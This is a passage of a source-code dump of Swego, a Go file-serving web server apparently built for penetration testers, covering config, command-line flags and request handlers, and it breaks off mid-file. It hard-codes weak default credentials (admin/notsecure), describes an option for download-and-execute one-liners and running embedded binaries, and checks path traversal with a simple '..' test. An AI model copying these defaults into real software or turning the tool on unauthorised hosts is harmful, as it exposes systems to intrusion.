github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= 48 | github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= 49 | github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= 50 | github.com/sagikazarmark/locafero v0.4.0 h1:HApY1R9zGo4DBgr7dqsTH/JJxLTTsOt7u6keLGt6kNQ= 51 | github.com/sagikazarmark/locafero v0.4.0/go.mod h1:Pe1W6UlPYUk/+wc/6KFhbORCfqzgYEpgQ3O5fPuL3H4= 52 | github.com/sagikazarmark/slog-shim v0.1.0 h1:diDBnUNK9N/354PgrxMywXnAwEr1QZcOr6gto+ugjYE= 53 | github.com/sagikazarmark/slog-shim v0.1.0/go.mod h1:SrcSrq8aKtyuqEI1uvTDTK1arOWRIczQRv+GVI1AkeQ= 54 | github.com/sourcegraph/conc v0.3.0 h1:OQTbbt6P72L20UqAkXXuLOj79LfEanQ+YQFNpLA9ySo= 55 | github.com/sourcegraph/conc v0.3.0/go.mod h1:Sdozi7LEKbFPqYX2/J+iBAM6HpqSLTASQIKqDmF7Mt0= 56 | github.com/spf13/afero v1.11.0 h1:WJQKhtpdm3v2IzqG8VMqrr6Rf3UYpEF239Jy9wNepM8= 57 | github.com/spf13/afero v1.11.0/go.mod h1:GH9Y3pIexgf1MTIWtNGyogA5MwRIDXGUr+hbWNoBjkY= 58 | github.com/spf13/cast v1.6.0 h1:GEiTHELF+vaR5dhz3VqZfFSzZjYbgeKDpBxQVS4GYJ0= 59 | github.com/spf13/cast v1.6.0/go.mod h1:ancEpBxwJDODSW/UG4rDrAqiKolqNNh2DX3mk86cAdo= 60 | github.com/spf13/cobra v1.8.0 h1:7aJaZx1B85qltLMc546zn58BxxfZdR/W22ej9CFoEf0= 61 | github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho= 62 | github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= 63 | github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= 64 | github.com/spf13/viper v1.18.2 h1:LUXCnvUvSM6FXAsj6nnfc8Q2tp1dIgUfY9Kc8GsSOiQ= 65 | github.com/spf13/viper v1.18.2/go.mod h1:EKmWIqdnk5lOcmR72yw6hS+8OPYcwD0jteitLMVB+yk= 66 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 67 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= 68 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= 69 | github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA= 70 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 71 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= 72 | github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= 73 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= 74 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 75 | github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8= 76 | github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU= 77 | github.com/yeka/zip v0.0.0-20231116150916-03d6312748a9 h1:K8gF0eekWPEX+57l30ixxzGhHH/qscI3JCnuhbN6V4M= 78 | github.com/yeka/zip v0.0.0-20231116150916-03d6312748a9/go.mod h1:9BnoKCcgJ/+SLhfAXj15352hTOuVmG5Gzo8xNRINfqI= 79 | go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0= 80 | go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y= 81 | golang.org/x/crypto v0.23.0 h1:dIJU/v2J8Mdglj/8rJ6UUOM3Zc9zLZxVZwwxMooUSAI= 82 | golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8= 83 | golang.org/x/exp v0.0.0-20240506185415-9bf2ced13842 h1:vr/HnozRka3pE4EsMEg1lgkXJkTFJCVUX+S/ZT6wYzM= 84 | golang.org/x/exp v0.0.0-20240506185415-9bf2ced13842/go.mod h1:XtvwrStGgqGPLc4cjQfWqZHG1YFdYs6swckp8vpsjnc= 85 | golang.org/x/net v0.25.0 h1:d/OCCoBEUq33pjydKrGQhw7IlUPI2Oylr+8qLx49kac= 86 | golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= 87 | golang.org/x/sys v0.0.0-20181122145206-62eef0e2fa9b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 88 | golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 89 | golang.org/x/sys v0.20.0 h1:Od9JTbYCk261bKm4M/mw7AklTlFYIa0bIp9BgSm1S8Y= 90 | golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 91 | golang.org/x/term v0.20.0 h1:VnkxpohqXaOBYJtBmEppKUG6mXpi+4O6purfc2+sMhw= 92 | golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY= 93 | golang.org/x/text v0.15.0 h1:h1V/4gjBv8v9cjcR6+AR5+/cIYK5N/WAgiv4xlsEtAk= 94 | golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= 95 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 96 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= 97 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= 98 | gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA= 99 | gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= 100 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 101 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 102 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 103 | -------------------------------------------------------------------------------- /images/swego.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nodauf/Swego/3565e800718f8adcb95811f355e8716d21b0b6e5/images/swego.png -------------------------------------------------------------------------------- /renovate.json: -------------------------------------------------------------------------------- 1 | { 2 | "extends": ["config:base", ":disableDependencyDashboard"] 3 | } 4 | -------------------------------------------------------------------------------- /src/.Swego.yaml: -------------------------------------------------------------------------------- 1 | # Case insensitive 2 | # Web subcommand 3 | bind: 8080 4 | IP: 0.0.0.0 5 | TLS: false 6 | Certificate: "" 7 | Key: "" 8 | DisableListing: false 9 | Gzip: true 10 | Oneliners: false 11 | Username: admin 12 | Password: notsecure 13 | root: /tmp 14 | private: /root 15 | promptPassword: false 16 | searchAndReplace: "" 17 | 18 | # Run subcommand 19 | List: false 20 | binary: "" 21 | args: "" 22 | -------------------------------------------------------------------------------- /src/.gitignore: -------------------------------------------------------------------------------- 1 | /bin/ 2 | /controllers/rice-box.go 3 | -------------------------------------------------------------------------------- /src/cmd/root.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | 7 | cobra "github.com/spf13/cobra" 8 | 9 | homedir "github.com/mitchellh/go-homedir" 10 | viper "github.com/spf13/viper" 11 | ) 12 | 13 | var cfgFile string 14 | var help bool 15 | 16 | // rootCmd represents the base command when called without any subcommands 17 | var rootCmd = &cobra.Command{ 18 | Use: "Swego", 19 | Short: "Swiss army knife Webserver in Golang", 20 | Long: `Alternative to SimpleHTTPServer of python. This is a cross-platform webserver with basic functionnalities likes upload, download folder as zip 21 | https, create folder from the web, private folder, ... 22 | Default will run subcommand web`, 23 | PreRunE: func(cmd *cobra.Command, args []string) error { 24 | return webCmd.PreRunE(cmd, args) 25 | }, 26 | Run: func(cmd *cobra.Command, args []string) { 27 | 28 | webCmd.Run(cmd, args) 29 | }, 30 | } 31 | 32 | // Execute adds all child commands to the root command and sets flags appropriately. 33 | // This is called by main.main(). It only needs to happen once to the rootCmd. 34 | func Execute() { 35 | if err := rootCmd.Execute(); err != nil { 36 | fmt.Println(err) 37 | os.Exit(1) 38 | } 39 | } 40 | 41 | func init() { 42 | cobra.OnInitialize(initConfig) 43 | cobra.MousetrapHelpText = "" 44 | 45 | rootCmd.PersistentFlags().StringVar(&cfgFile, "config", "", "config file (default is $HOME/.Swego.yaml)") 46 | 47 | rootCmd.PersistentFlags().BoolVarP(&help, "help", "h", false, "Help message") 48 | } 49 | 50 | // initConfig reads in config file and ENV variables if set. 51 | func initConfig() { 52 | if cfgFile != "" { 53 | // Use config file from the flag. 54 | viper.SetConfigFile(cfgFile) 55 | } else { 56 | // Find home directory. 57 | home, err := homedir.Dir() 58 | if err != nil { 59 | fmt.Println(err) 60 | os.Exit(1) 61 | } 62 | 63 | // Search config in home directory with name ".Swego" (without extension). 64 | viper.AddConfigPath(home) 65 | viper.SetConfigName(".Swego") 66 | } 67 | 68 | viper.AutomaticEnv() // read in environment variables that match 69 | 70 | // If a config file is found, read it in. 71 | if err := viper.ReadInConfig(); err == nil { 72 | fmt.Println("Using config file:", viper.ConfigFileUsed()) 73 | } else { 74 | fmt.Println(err) 75 | } 76 | 77 | // Bind the webcmd flags to the config file 78 | viper.BindPFlags(webCmd.Flags()) 79 | viper.BindPFlags(runCmd.Flags()) 80 | } 81 | -------------------------------------------------------------------------------- /src/cmd/run.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "errors" 5 | 6 | "github.com/spf13/cobra" 7 | viper "github.com/spf13/viper" 8 | ) 9 | 10 | // Arguments 11 | 12 | // Run : bool to know if it's the run subcommand 13 | var Run bool 14 | 15 | // Args for the binary to run 16 | var Args string 17 | 18 | // Binary to run 19 | var Binary string 20 | 21 | // List : Action to list the embedded binaries 22 | var List bool 23 | 24 | // runCmd represents the run command 25 | var runCmd = &cobra.Command{ 26 | Use: "run", 27 | Short: "Run an embedded binary", 28 | Long: `Run an embedded binary`, 29 | PreRunE: func(cmd *cobra.Command, args []string) error { 30 | Args = viper.GetString("Args") 31 | Binary = viper.GetString("Binary") 32 | List = viper.GetBool("List") 33 | if !List && Binary == "" { 34 | return errors.New("You must specify a binary to run") 35 | 36 | } else if List && Binary != "" { 37 | return errors.New("You must specify either binary or list") 38 | } 39 | return nil 40 | }, 41 | Run: func(cmd *cobra.Command, args []string) { 42 | Run = true 43 | }, 44 | } 45 | 46 | func init() { 47 | //rootCmd.AddCommand(runCmd) 48 | 49 | runCmd.Flags().StringVarP(&Args, "args", "a", "", "Arguments for the binary") 50 | runCmd.Flags().StringVarP(&Binary, "binary", "b", "", "Binary to execute") 51 | runCmd.Flags().BoolVarP(&List, "list", "l", false, "List embedded binaries") 52 | 53 | viper.BindPFlags(runCmd.Flags()) 54 | 55 | } 56 | -------------------------------------------------------------------------------- /src/cmd/web.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "Swego/src/utils" 5 | "crypto/tls" 6 | "errors" 7 | "fmt" 8 | "os" 9 | "path" 10 | "strings" 11 | "syscall" 12 | 13 | "github.com/spf13/cobra" 14 | viper "github.com/spf13/viper" 15 | "golang.org/x/crypto/ssh/terminal" 16 | ) 17 | 18 | // Arguments 19 | 20 | // Web : bool to know if it's the web subcommand 21 | var Web bool 22 | 23 | // Bind Port 24 | var Bind int 25 | 26 | // IP where the webserver will listen 27 | var IP string 28 | 29 | // IPWhitelist contains the list of whitelister IP allowed to access the application 30 | var IPWhitelist []string 31 | 32 | // TLS : bool if TLS is enabled or not 33 | var TLS bool 34 | 35 | // TLSCertificate is the tls certificate 36 | var tlsCertificate string 37 | 38 | // TLSKey is the tls key 39 | var tlsKey string 40 | 41 | // DisableListing : option to disable directory listing 42 | var DisableListing bool 43 | 44 | // Gzip enable gzip compression 45 | var Gzip bool 46 | 47 | // Oneliners : boolean to enable generation of oneliners to download and execute files 48 | var Oneliners bool 49 | 50 | // Username for the private folder 51 | var Username string 52 | 53 | // Password for the private folder 54 | var Password string 55 | 56 | // PrivateFolder is the path for the private folder 57 | var PrivateFolder string 58 | 59 | // RootFolder is the path for the root folder 60 | var RootFolder string 61 | 62 | // SearchAndReplaceMap is the map which contains the information to search and replace string by another 63 | var SearchAndReplaceMap = make(map[string]string) 64 | 65 | // TLSConfig contains the configuration for the webserver 66 | var TLSConfig tls.Config 67 | 68 | // Verbose enable a verbose output 69 | var Verbose bool 70 | 71 | // cert contains certificate and private key 72 | var cert *tls.Certificate 73 | var commonName string 74 | 75 | var promptPassword bool 76 | var cwd string 77 | var searchAndReplace string 78 | 79 | // webCmd represents the web command 80 | var webCmd = &cobra.Command{ 81 | Use: "web", 82 | Short: "Start the webserver (default subcommand)", 83 | Long: `Start the webserver (default subcommand)`, 84 | PreRunE: func(cmd *cobra.Command, args []string) error { 85 | // Map the variable in the config file 86 | Bind = viper.GetInt("bind") 87 | IP = viper.GetString("IP") 88 | TLS = viper.GetBool("TLS") 89 | tlsCertificate = viper.GetString("Certificate") 90 | tlsKey = viper.GetString("Key") 91 | commonName = viper.GetString("CommonName") 92 | DisableListing = viper.GetBool("DisableListing") 93 | Gzip = viper.GetBool("Gzip") 94 | Oneliners = viper.GetBool("Oneliners") 95 | Username = viper.GetString("Username") 96 | Password = viper.GetString("Password") 97 | RootFolder = viper.GetString("Root") 98 | PrivateFolder = viper.GetString("Private") 99 | 100 | promptPassword = viper.GetBool("promptPassword") 101 | searchAndReplace = viper.GetString("searchAndReplace") 102 | 103 | if TLS && (tlsKey == "" || tlsCertificate == "") { 104 | var err error 105 | if commonName == "" { 106 | cert, err = utils.GenerateTLSSelfSignedCertificate(commonName) 107 | if err != nil { 108 | return errors.New("Error while generating certificate: " + err.Error()) 109 | } 110 | TLSConfig.Certificates = append(TLSConfig.Certificates, *cert) 111 | } else { 112 | TLSConfig, err = utils.GenerateTLSLetsencryptCertificate(commonName) 113 | } 114 | } else if (TLS || tlsKey != "" || tlsCertificate != "") && (!TLS || tlsKey == "" || tlsCertificate == "") { 115 | return errors.New("Tls, certificate and/or key arguments missing") 116 | 117 | } else if TLS && (!utils.FileExists(tlsCertificate) || !utils.FileExists(tlsKey)) { //if TLS enable check if the certificate and key files not exist 118 | return errors.New("Certificate file " + tlsCertificate + " or key file " + tlsKey + " not found") 119 | 120 | } else if TLS && utils.FileExists(tlsCertificate) && utils.FileExists(tlsKey) { 121 | cer, err := tls.LoadX509KeyPair(tlsCertificate, tlsKey) 122 | if err != nil { 123 | return errors.New(err.Error()) 124 | } 125 | cert = &cer 126 | TLSConfig.Certificates = append(TLSConfig.Certificates, *cert) 127 | } 128 | 129 | return nil 130 | }, 131 | Run: func(cmd *cobra.Command, args []string) { 132 | 133 | if promptPassword { 134 | //reader := bufio.NewReader(os.Stdin) 135 | fmt.Print("Enter password: ") 136 | bytePassword, err := terminal.ReadPassword(int(syscall.Stdin)) 137 | fmt.Print("\n") 138 | utils.Check(err, "Error when reading password") 139 | 140 | //text, _ := reader.ReadString('\n') 141 | Password = strings.TrimSpace(string(bytePassword)) 142 | } 143 | 144 | // For RootFolder 145 | // Remove if the last character is / 146 | if strings.HasSuffix(RootFolder, "/") { 147 | RootFolder = strings.TrimSuffix(RootFolder, "/") 148 | } 149 | // If relative path 150 | if !strings.HasPrefix(RootFolder, "/") { 151 | RootFolder = path.Join((cwd), RootFolder) 152 | } 153 | 154 | // For PrivateFolder 155 | // Remove if the last character is / 156 | if strings.HasSuffix(PrivateFolder, "/") { 157 | PrivateFolder = strings.TrimSuffix(PrivateFolder, "/") 158 | } 159 | // If relative path 160 | if !strings.HasPrefix(PrivateFolder, "/") { 161 | PrivateFolder = path.Join((RootFolder), PrivateFolder) 162 | } 163 | 164 | if searchAndReplace != "" { 165 | for _, item := range strings.Split(searchAndReplace, " ") { 166 | key := strings.Split(item, "=")[0] 167 | value := strings.Split(item, "=")[1] 168 | SearchAndReplaceMap[key] = value 169 | } 170 | } 171 | 172 | Web = true 173 | 174 | }, 175 | } 176 | 177 | func init() { 178 | rootCmd.AddCommand(webCmd) 179 | 180 | cwd, err := os.Getwd() 181 | if err != nil { 182 | fmt.Printf("Error while getting current directory.") 183 | return 184 | } 185 | 186 | webCmd.Flags().IntVarP(&Bind, "bind", "b", 8080, "Bind Port") 187 | webCmd.Flags().StringVar(&IP, "ip", "0.0.0.0", "Binding IP") 188 | webCmd.Flags().BoolVarP(&Gzip, "gzip", "g", true, "Enables gzip/zlib compression") 189 | webCmd.Flags().BoolVarP(&Oneliners, "oneliners", "o", false, "Generate oneliners to download files") 190 | webCmd.Flags().StringVarP(&RootFolder, "root", "r", cwd, "Root folder") 191 | webCmd.Flags().StringVarP(&searchAndReplace, "searchAndReplace", "s", "", "Search and replace string in embedded text files") 192 | 193 | webCmd.Flags().StringVarP(&Username, "username", "u", "admin", "Username for basic auth") 194 | webCmd.Flags().StringVarP(&Password, "password", "p", "notsecure", "Password for basic auth") 195 | webCmd.Flags().StringVar(&PrivateFolder, "private", cwd+"/private", "Private folder with basic auth") 196 | webCmd.Flags().BoolVar(&promptPassword, "promptPassword", false, "Prompt for for basic auth's password") 197 | webCmd.Flags().StringSliceVar(&IPWhitelist, "ipWhitelist", []string{}, "List of IP addresses to whitelist") 198 | 199 | webCmd.Flags().BoolVar(&TLS, "tls", false, "Enables HTTPS (for web and webdav)") 200 | webCmd.Flags().StringVarP(&commonName, "commonName", "n", "", "Common name to use in the certificat") 201 | webCmd.Flags().StringVarP(&tlsCertificate, "certificate", "c", "", "HTTPS certificate : openssl req -new -x509 -sha256 -key server.key -out server.crt -days 365 (for web and webdav)") 202 | webCmd.Flags().StringVarP(&tlsKey, "key", "k", "", "HTTPS Key : openssl genrsa -out server.key 2048 (for web and webdav)") 203 | 204 | webCmd.Flags().BoolVarP(&DisableListing, "disableListing", "d", false, "Disable directory listing") 205 | 206 | webCmd.Flags().BoolVarP(&Verbose, "verbose", "v", false, "Verbose output") 207 | 208 | } 209 | -------------------------------------------------------------------------------- /src/controllers/embeddedFiles.go.old: -------------------------------------------------------------------------------- 1 | package controllers 2 | 3 | import ( 4 | "compress/gzip" 5 | "compress/zlib" 6 | "container/list" 7 | "fmt" 8 | "io" 9 | "log" 10 | "net/http" 11 | "net/url" 12 | "os" 13 | "sort" 14 | "strconv" 15 | "strings" 16 | 17 | "Swego/src/cmd" 18 | "Swego/src/utils" 19 | 20 | rice "github.com/GeertJohan/go.rice" 21 | "github.com/gabriel-vasile/mimetype" 22 | "github.com/yeka/zip" 23 | ) 24 | 25 | const pathEmbedded = "./assets/embedded/" 26 | 27 | // EmbeddedRequest manage the request on the embedded files (when the parameter ?embedded is present) 28 | func EmbeddedRequest(w http.ResponseWriter, req *http.Request) { 29 | requestPath := strings.Split(req.RequestURI, "?")[0] 30 | 31 | if requestPath[len(requestPath)-1:] == "/" { // Directory listing if it's a folder (last character is /) 32 | handleEmbeddedDirectory(requestPath, w, req) 33 | } else { // It's a file, we serve the file 34 | fileName := requestPath[1:] 35 | serveEmbeddedFile(fileName, w, req) 36 | } 37 | } 38 | 39 | func serveEmbeddedFile(filePath string, w http.ResponseWriter, req *http.Request) { 40 | //Can't use variable, otherwise rice generate an error when rice embed-go .... 41 | templateBox, err := rice.FindBox("../assets/embedded/") 42 | 43 | if err != nil { 44 | log.Fatal(err) 45 | } 46 | // Opening the file handle 47 | //f, err := os.Open(filePath) 48 | f, err := templateBox.Open(filePath) 49 | // Content-Type handling 50 | query, errParseQuery := url.ParseQuery(req.URL.RawQuery) 51 | 52 | if err != nil { 53 | http.Error(w, "404 Not Found : Error while opening the file.", 404) 54 | log.Println("404 Not Found : Error while opening the file " + filePath) 55 | return 56 | } 57 | defer f.Close() 58 | 59 | // Checking if the opened handle is really a file 60 | statinfo, err := f.Stat() 61 | 62 | //buf := make([]byte, utils.Min(fs_maxbufsize, statinfo.Size())) 63 | //buf := make([]byte, statinfo.Size()) 64 | //fmt.Println(len(buf)) 65 | //f.Read(buf) 66 | 67 | if err != nil || errParseQuery != nil { 68 | http.Error(w, "500 Internal Error : stat() failure.", 500) 69 | log.Println("500 Internal Error : stat() failure for the file: " + filePath) 70 | return 71 | } 72 | if errParseQuery == nil && len(query["dl"]) > 0 { // The user explicitedly wanted to download the file (Dropbox style!) 73 | w.Header().Set("Content-Type", "application/octet-stream") 74 | } else if errParseQuery == nil && len(query["dlenc"]) > 0 { // Download the file as an encrypted zip 75 | 76 | // Absolute path to the file 77 | //filePathName := f.Name() 78 | // Create the zip file can't create in embedded path. Create temporarily in root of the webserver 79 | zipFile, err := os.Create(filePath + ".zip") 80 | if err != nil { 81 | log.Fatalln(err) 82 | } 83 | zipFilePath := zipFile.Name() 84 | zipw := zip.NewWriter(zipFile) 85 | 86 | // Add file f to the zip 87 | utils.AddRicefiletoZip(statinfo.Name(), f, filePath, zipw, true, "infected") 88 | 89 | // Manually close the zip 90 | zipw.Close() 91 | 92 | // Generate the request for the new file 93 | newFile := strings.Split(req.URL.String(), "?") 94 | fmt.Println(zipFilePath) 95 | newRequest, _ := http.NewRequest("GET", "http://"+req.Host+newFile[0], nil) 96 | 97 | // Serve the new file (encrypted zip) 98 | serveFile(zipFilePath, w, newRequest) 99 | os.Remove(zipFilePath) 100 | return 101 | } else { 102 | // Need its own rice.file otherwise it will miss the first chunck 103 | fileForMime, _ := templateBox.Open(filePath) 104 | defer fileForMime.Close() 105 | // Fetching file's mimetype and giving it to the browser 106 | if mimetype, _ := mimetype.DetectReader(fileForMime); mimetype.String() != "" { 107 | w.Header().Set("Content-Type", mimetype.String()) 108 | } else { 109 | w.Header().Set("Content-Type", "application/octet-stream") 110 | } 111 | } 112 | 113 | // Manage gzip/zlib compression 114 | outputWriter := w.(io.Writer) 115 | 116 | isCompressedReply := false 117 | 118 | if (cmd.Gzip) == true && req.Header.Get("Accept-Encoding") != "" { 119 | encodings := utils.ParseCSV(req.Header.Get("Accept-Encoding")) 120 | 121 | for _, val := range encodings { 122 | if val == "gzip" { 123 | w.Header().Set("Content-Encoding", "gzip") 124 | outputWriter = gzip.NewWriter(w) 125 | 126 | isCompressedReply = true 127 | 128 | break 129 | } else if val == "deflate" { 130 | w.Header().Set("Content-Encoding", "deflate") 131 | outputWriter = zlib.NewWriter(w) 132 | 133 | isCompressedReply = true 134 | 135 | break 136 | } 137 | } 138 | } 139 | 140 | if !isCompressedReply { 141 | // Add Content-Length 142 | w.Header().Set("Content-Length", strconv.FormatInt(statinfo.Size(), 10)) 143 | } 144 | 145 | // Stream data out ! 146 | buf := make([]byte, utils.Min(fsMaxbufsize, statinfo.Size())) 147 | n := 0 148 | 149 | for err == nil { 150 | n, err = f.Read(buf) 151 | buf = utils.SearchAndReplace(cmd.SearchAndReplaceMap, buf) 152 | outputWriter.Write(buf[0:n]) 153 | } 154 | // Closes current compressors 155 | switch outputWriter.(type) { 156 | case *gzip.Writer: 157 | outputWriter.(*gzip.Writer).Close() 158 | case *zlib.Writer: 159 | outputWriter.(*zlib.Writer).Close() 160 | } 161 | //f.Close() 162 | } 163 | 164 | func listEmbeddedFiles() ([]string, []string) { 165 | //Can't use variable, otherwise rice generate an error when rice embed-go .... 166 | templateBox, err := rice.FindBox("../assets/embedded/") 167 | if err != nil { 168 | log.Fatal(err) 169 | } 170 | // Otherwise, generate folder content. 171 | childrenDirTmp := list.New() 172 | childrenFilesTmp := list.New() 173 | err = templateBox.Walk("/", func(path string, info os.FileInfo, err error) error { 174 | // don't add the root directory of embbedded files 175 | if info.IsDir() && info.Name() == "embedded" || info.Name() == "" { 176 | return nil 177 | } 178 | if info.IsDir() { 179 | childrenDirTmp.PushBack(info.Name()) 180 | } else { 181 | childrenFilesTmp.PushBack(info.Name()) 182 | } 183 | return nil 184 | }) 185 | if err != nil { 186 | log.Fatal(err) 187 | } 188 | 189 | // And transfer the content to the final array structure 190 | childrenDir := utils.CopyToArray(childrenDirTmp) 191 | childrenFiles := utils.CopyToArray(childrenFilesTmp) 192 | 193 | return childrenDir, childrenFiles 194 | } 195 | 196 | func handleEmbeddedDirectory(path string, w http.ResponseWriter, req *http.Request) { 197 | if !cmd.DisableListing { 198 | childrenDir, childrenFiles := listEmbeddedFiles() 199 | 200 | //Sort children_dir and children_files 201 | sort.Slice(childrenDir, func(i, j int) bool { return childrenDir[i] < childrenDir[j] }) 202 | 203 | //Sort children_dir and children_files 204 | sort.Slice(childrenFiles, func(i, j int) bool { return childrenFiles[i] < childrenFiles[j] }) 205 | 206 | data := utils.Dirlisting{Name: req.URL.Path, 207 | ServerUA: serverUA, 208 | ChildrenDir: childrenDir, 209 | ChildrenFiles: childrenFiles, 210 | Embedded: true} 211 | err := renderTemplate(w, "directoryListing.tpl", data) 212 | if err != nil { 213 | fmt.Println(err) 214 | } 215 | } 216 | } 217 | 218 | func readEmbeddedBinary(binary string) []byte { 219 | //Can't use variable, otherwise rice generate an error when rice embed-go .... 220 | templateBox, err := rice.FindBox("../assets/embedded/") 221 | if err != nil { 222 | log.Fatal(err) 223 | } 224 | binBytes, err := templateBox.Bytes(binary) 225 | if err != nil { 226 | fmt.Printf("[!] Error finding binary: %s\n", binary) 227 | log.Fatal(err) 228 | } 229 | return binBytes 230 | } 231 | -------------------------------------------------------------------------------- /src/controllers/manageDirectory.go: -------------------------------------------------------------------------------- 1 | package controllers 2 | 3 | import ( 4 | "Swego/src/cmd" 5 | "log" 6 | "net/http" 7 | "net/url" 8 | "os" 9 | "path" 10 | "strings" 11 | ) 12 | 13 | // CreateFolder will create a folder from the web request 14 | func CreateFolder(w http.ResponseWriter, req *http.Request) { 15 | dirPath := path.Join((cmd.RootFolder), path.Clean(req.URL.Path)) 16 | query, errParseQuery := url.ParseQuery(req.URL.RawQuery) 17 | folder := query["newFolder"][0] 18 | // Check for directory traversal 19 | if strings.Contains(folder, "..") { 20 | http.Error(w, "500 Internal Error : Invalid character", 500) 21 | log.Println("Invalid character on " + folder) 22 | return 23 | } 24 | 25 | folderToCreate := dirPath + "/" + folder 26 | 27 | f, err := os.Open(dirPath) 28 | if err != nil { 29 | http.Error(w, "404 Not Found : Error while opening the directory.", 404) 30 | log.Println("404 Not Found : Error while opening the directory " + dirPath) 31 | return 32 | } 33 | 34 | statinfo, err := f.Stat() 35 | if errParseQuery != nil || err != nil { 36 | http.Error(w, "500 Internal Error : stat() failure.", 500) 37 | log.Println("Failed to create folder on: : " + dirPath) 38 | return 39 | } 40 | 41 | if !statinfo.IsDir() { 42 | http.Error(w, path.Clean(req.URL.Path)+" is not a folder", 500) 43 | log.Println("Failed to create folder on: : " + dirPath) 44 | return 45 | } 46 | 47 | // If there is no error it's means the directory (or file) exists 48 | _, err = os.Open(folderToCreate) 49 | if err == nil { 50 | http.Error(w, "500 Internal Error : Directory already exists.", 500) 51 | log.Println("500 Internal Error : Directory already exists." + folderToCreate) 52 | return 53 | } 54 | // All test passed - create the folder 55 | err = os.Mkdir(folderToCreate, 0755) 56 | if err != nil { 57 | log.Fatal(err) 58 | } 59 | log.Println("Folder " + folderToCreate + " created") 60 | http.Redirect(w, req, path.Clean(req.URL.Path), 302) 61 | } 62 | -------------------------------------------------------------------------------- /src/controllers/middleware.go: -------------------------------------------------------------------------------- 1 | package controllers 2 | 3 | import ( 4 | "Swego/src/cmd" 5 | "Swego/src/utils" 6 | "encoding/base64" 7 | "log" 8 | "net/http" 9 | "path/filepath" 10 | "strings" 11 | ) 12 | 13 | // BasicAuth function to handle private directory and print basic authentication 14 | func BasicAuth(h http.HandlerFunc) http.HandlerFunc { 15 | return func(w http.ResponseWriter, r *http.Request) { 16 | path := filepath.Join((cmd.RootFolder), filepath.Clean(r.URL.Path)) 17 | isSubdirectory, err := utils.PathSubElem(cmd.PrivateFolder, 